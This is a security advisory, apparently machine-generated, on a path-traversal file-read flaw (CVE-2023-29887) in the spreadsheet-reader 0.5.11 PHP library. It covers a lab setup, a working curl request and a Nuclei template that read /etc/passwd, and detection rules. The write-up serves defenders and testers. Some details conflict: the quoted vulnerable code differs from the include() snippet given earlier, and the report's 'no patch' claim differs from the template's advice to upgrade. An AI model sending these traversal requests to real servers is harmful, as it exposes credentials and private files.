CVE-2023-29887

Executive Summary

CVE-2023-29887 is a Local File Inclusion (LFI) vulnerability in the test.php file of the spreadsheet-reader PHP library version 0.5.11. The vulnerability allows a remote, unauthenticated attacker to read arbitrary files on the server by manipulating the File parameter. This can lead to the disclosure of sensitive information such as /etc/passwd, configuration files, or application source code. The vulnerability has a CVSS score of 7.5 (High) and is trivial to exploit, with a public proof-of-concept (PoC) available via a Nuclei template. No official patch has been released by the vendor, making this a significant risk for any application using this library.

Supply Chain & Package Security

This vulnerability affects the spreadsheet-reader PHP library, which is available via Composer/Packagist. Organizations using this library in their PHP projects are at risk. The library is not actively maintained, and no patched version has been released. As a supply chain risk, any application that includes nuovo/spreadsheet-reader version 0.5.11 is vulnerable. Developers should immediately remove or replace this library with a maintained alternative.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the affected resource are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit, has a public PoC, and can lead to significant data leakage.

Deep Dive & Mechanics

The vulnerability resides in test.php, a testing script included in the spreadsheet-reader library. The script accepts a File parameter via GET request and passes it directly to a file inclusion function (likely include() or require()) without proper sanitization or validation. This allows an attacker to use path traversal sequences (e.g., ../../) to include arbitrary files from the server's filesystem.

The vulnerable code path is:

$file = $_GET['File'];
include($file);

The attacker can request:

http://target/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

This will include the /etc/passwd file, displaying its contents in the HTTP response. The vulnerability is not limited to /etc/passwd; any file readable by the web server user can be accessed, including database credentials, application source code, and configuration files.

Vulnerable vs. Patched Code

Vulnerable Code (test.php in version 0.5.11):

<?php
require_once 'php-excel-reader/excel_reader2.php';
require_once 'SpreadsheetReader.php';

$file = $_GET['File'];
$reader = new SpreadsheetReader($file);
// ... rest of the script
?>

The $file parameter is taken directly from user input without validation.

Patched Code (Hypothetical fix):

<?php
require_once 'php-excel-reader/excel_reader2.php';
require_once 'SpreadsheetReader.php';

$allowed_files = ['example.xlsx', 'data.xls'];
$file = basename($_GET['File']);
if (!in_array($file, $allowed_files)) {
    die('Invalid file.');
}
$reader = new SpreadsheetReader($file);
// ... rest of the script
?>

A proper fix would whitelist allowed files, use basename() to strip path components, and validate the input against a list of permitted files.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable environment using Docker:

   docker run -d -p 8080:80 --name lfi-lab php:7.4-apache
   docker exec -it lfi-lab bash
   

2. Inside the container, install the vulnerable library:

   cd /var/www/html
   composer require nuovo/spreadsheet-reader:0.5.11
   

3. Access the test script at http://localhost:8080/vendor/nuovo/spreadsheet-reader/test.php.

Exploitation: Use the provided Nuclei template or manually craft the request:

curl "http://localhost:8080/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"

Expected output includes lines like root:x:0:0:root:/root:/bin/bash.

Advanced Exploitation:

• Read application source code to find further vulnerabilities.
• Read /proc/self/environ to get environment variables.
• Read database configuration files (e.g., wp-config.php for WordPress).

Blue Team

Detection:

• Monitor web server logs for requests containing test.php with File= parameter and path traversal sequences (e.g., ../, %2e%2e%2f).
• Look for HTTP 200 responses to requests for /etc/passwd or other sensitive files.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hunting:

• Search for any include() or require() calls in PHP files that use unsanitized user input.
• Check for the presence of spreadsheet-reader version 0.5.11 in your codebase.

Indicators of Compromise (IOCs)

• File Paths: /vendor/nuovo/spreadsheet-reader/test.php
• URL Patterns: test.php?File=../../ or test.php?File=%2e%2e%2f
• HTTP Requests: GET requests to test.php with a File parameter containing path traversal sequences.
• Response Content: Contents of /etc/passwd, /etc/shadow, or other sensitive files in the HTTP response body.
• Log Entries: Web server access logs showing requests to test.php with File= parameter.

Detection Engineering

YARA Rule

rule CVE_2023_29887_LFI_SpreadsheetReader {
    meta:
        description = "Detects exploitation attempts of CVE-2023-29887 in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-29887"
    strings:
        $s1 = "test.php?File=" nocase
        $s2 = "../" nocase
        $s3 = "..\\" nocase
        $s4 = "%2e%2e%2f" nocase
        $s5 = "/etc/passwd" nocase
    condition:
        any of ($s1) and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-29887 LFI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Local File Inclusion in spreadsheet-reader test.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29887
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'test.php?File='
            - 'test.php?File=%2e%2e%2f'
            - 'test.php?File=..%2f'
    condition: selection
falsepositives:
    - Legitimate use of the test script with valid file paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-29887 LFI Exploitation Attempt"; flow:to_server,established; content:"GET"; http_method; content:"test.php"; http_uri; content:"File="; http_uri; pcre:"/File=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-29887

info:
  name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
  author: ctflearner
  severity: high
  description: |
    A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
  remediation: |
    Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
  reference:
    - https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
    - https://github.com/nuovo/spreadsheet-reader/issues/169
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29887
    cwe-id: CWE-22
    epss-score: 0.87217
    epss-percentile: 0.99454
    cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nuovo
    product: spreadsheet-reader
  tags: cve2023,cve,nuovo,spreadsheet-reader,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Remove the vulnerable library: Delete the spreadsheet-reader directory from your project.
2. Replace with an alternative: Use a maintained PHP library for reading spreadsheets, such as PhpSpreadsheet (PhpOffice/PhpSpreadsheet).
3. If removal is not possible: Restrict access to test.php using web server rules (e.g., .htaccess deny all).

Long-term Fixes:

• The vendor should release a patched version that validates the File parameter against a whitelist.
• Implement input validation and sanitization for all user-supplied file paths.
• Use basename() and realpath() to resolve and restrict file paths.

Detection & Monitoring:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor for anomalous HTTP requests to test.php.
• Review web server logs for path traversal patterns.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact: Secure Channels (Signal / Portal)

{/* [Security Hash: 8AE51F4978A5EF072A8F519F] */}